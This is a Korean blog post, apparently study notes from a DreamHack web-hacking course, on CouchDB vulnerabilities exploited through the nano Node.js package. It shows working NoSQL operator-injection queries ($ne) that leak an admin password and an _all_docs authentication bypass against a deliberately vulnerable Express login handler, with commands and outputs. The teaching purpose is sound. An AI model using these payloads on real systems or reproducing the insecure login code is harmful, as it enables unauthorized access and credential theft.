Information Security

[DreamHack]-WHA ExploitTech: CouchDBMS 본문

INTERLUDE/Web Hacking

[DreamHack]-WHA ExploitTech: CouchDBMS

sohexz 2022. 4. 28. 19:08

NoSQL 중 CouchDB에서 발생하는 취약점 형태와 이를 공격하는 방법에 대해서 소개

CouchDB

키와 값이 하나의 쌍을 이루는 데이터를 저장하며, JSON 객체 형태인 도큐먼트를 저장

이는 HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청을 받고, 처리

 

CouchDB 특수 구성 요소

 _ 문자로 시작하는 URL 요소 및 JSON 필드는 특수 구성 요소를 나타냄

Server

Databases

CouchDB 공격 기법

nano 패키지

 get 함수를 사용하여 _id 값을 통해 데이터를 조회하거나 find 함수를 통해 쿼리 기반으로 데이터를 가져올 수 있음

 

nano 패키지 get 함수

// { ..., get: getDoc, ...}
// https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L543-L552
// http://docs.couchdb.org/en/latest/api/document/common.html#get--db-docid
function getDoc (docName, qs0, callback0) {
  const { opts, callback } = getCallback(qs0, callback0)
  if (missing(docName)) {
    return callbackOrRejectError(callback)
  }
  return relax({ db: dbName, doc: docName, qs: opts }, callback)
}
// ...
function relax (opts, callback) {
  // ...
  const req = {
    method: (opts.method || 'GET'),
    headers: headers,
    uri: cfg.url
  }
  // ...
  if (opts.db) {
    req.uri = urlResolveFix(req.uri, encodeURIComponent(opts.db))
  }
  // ...
  if (opts.path) {
    req.uri += '/' + opts.path
  } else if (opts.doc) {
    if (!/^_design|_local/.test(opts.doc)) {
      // http://wiki.apache.org/couchdb/HTTP_Document_API#Naming.2FAddressing
      req.uri += '/' + encodeURIComponent(opts.doc)
    } else {
      // http://wiki.apache.org/couchdb/HTTP_Document_API#Document_IDs
      req.uri += '/' + opts.doc
    }
    // http://wiki.apache.org/couchdb/HTTP_Document_API#Attachments
    if (opts.att) {
      req.uri += '/' + opts.att
    }
  }
  // ...
    if (typeof callback === 'function') {
      // return nothing - feedback via the callback function
      httpAgent(req, responseHandler(req, opts, null, null, callback))
    } else {
      // return a Promise
      return new Promise(function (resolve, reject) {
        httpAgent(req, responseHandler(req, opts, resolve, reject))
      })
    }
  }
}

relax 함수의 21 번째 줄을 보면 초기화 과정에서 할당된 cfg.url 뒤에 DB 이름을 합칩니다. 이후 31 번째 줄에서입력받은 doc을 URL에 추가해 GET 메소드로 요청을 전송

 

_all_docs 페이지 접근

_all_docs 페이지에 접근해 데이터베이스의 정보를 획득한 모습

> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err:  null ,result:  { total_rows: 3,
  offset: 0,
  rows:
   [ { id: '0c1371b65480420e678d00c2770003f3',
       key: '0c1371b65480420e678d00c2770003f3',
       value: [Object] },
     { id: '0c1371b65480420e678d00c277001712',
       key: '0c1371b65480420e678d00c277001712',
       value: [Object] },
     { id: 'guest', key: 'guest', value: [Object] } ] }
*/

 

nano 패키지 find 함수

// https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L941-L952
function find (query, callback) {
  if (missing(query) || typeof query !== 'object') {
    return callbackOrRejectError(callback)
  }
  return relax({
    db: dbName,
    path: '_find',
    method: 'POST',
    body: query
  }, callback)
}

 find 함수의 3 번째 줄을 보면, 전달된 쿼리가 NULL인지와 객체 타입이 아닌지를 검사하고 에러를 발생시킵니다. 따라서 객체 형태의 데이터를 전달할 수 있는 것을 알 수 있음

 

연산자 공격

객체 형태의 데이터를 입력받을 때 입력 값에 대한 검사가 부재하거나 미흡하다면 문제가 발생

selector 안에서 operator를 사용할 수 있는데, 연산자가 이에 포함

공격자가 조건 식을 만들고, 조건에 해당하지 않는 데이터를 모두 획득할 수 있음

 

> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err:  null ,result:  { docs:
   [ { _id: 'admin',
       _rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
       upw: 'secretpassword' } ],
  bookmark:
   'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
  warning:
   'No matching index found, create an index to optimize query time.' }
*/

연산자를 통해 데이터베이스의 중요 정보를 획득한 모습find 함수의 인자로 이용자의 입력 값이 전달되고, 문자열 타입이 아닌 객체 타입의 값을 입력할 수 있다면 데이터베이스의 중요 정보를 획득할 수 있음

 

기타 공격 방법

uid에 해당하는 데이터를 조회하고, 이때 반환된 에러와 결과를 비교하는 인증 과정이 존재

조회한 uid의 upw가 이용자가 전달한 upw와 일치하면 인증에 성공할 수 있음

취약점을 살펴보면, get 함수의 인자로 전달되는 uid에 대한 어떠한 검사도 존재하지 않아 특수 구성 요소를 이용할 수 있음

 

app.js 예제 코드

const express = require('express');
const session = require('express-session');
const app = express();
app.use(express.json());
app.use(express.urlencoded({extended: false}));
app.use(session({'secret': 'secret'}));
const nano = require('nano')('http://{username}:{password}@localhost:5984');
const users = nano.db.use('users');
// { _id: 'admin', _rev: '1-22a458e50cf189b17d50eeb295231896', upw: '**secret**' }
app.post('/auth', function(req, res) {
    users.get(req.body.uid, function(err, result) {
        if (err) {
            res.send('error');
            return;
        }
        if (result.upw === req.body.upw) {
            req.session.auth = true;
            res.send('success');
        } else {
            res.send('fail');
        }
    });
});
const server = app.listen(3000, function() {
    console.log('app.listen');
});

 

_all_docs를 이용한 인증 우회

/auth 페이지에서 uid 값에 특수 구성 요소인 _all_docs를 입력하고, upw를 입력하지 않은 모습

인증에 성공하고 세션을 획득함

$ curl -i http://{username}:{password}@localhost:5984/users/_all_docs
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Content-Type: application/json
Date: Tue, 19 May 2020 17:24:32 GMT
Server: CouchDB/3.1.0 (Erlang OTP/20)
Transfer-Encoding: chunked
X-Couch-Request-ID: 43c8ca548f
X-CouchDB-Body-Time: 0
{"total_rows":1,"offset":0,"rows":[
{"id":"admin","key":"admin","value":{"rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2"}}
]}

애플리케이션 내부에서는 _all_docs에서 출력하는 내용을 result 변수에 저장

해당 페이지에서는 키 명칭이 upw인 데이터를 반환하지 않기 때문에 result.upw에는 undefined가 저장됨

요청을 다시 확인해보면 upw를 별도로 전달하지 않았기 때문에 req.body.upw 또한 undefined가 되고, 결국 인증 조건을 만족하고 세션을 획득할 수 있게 됨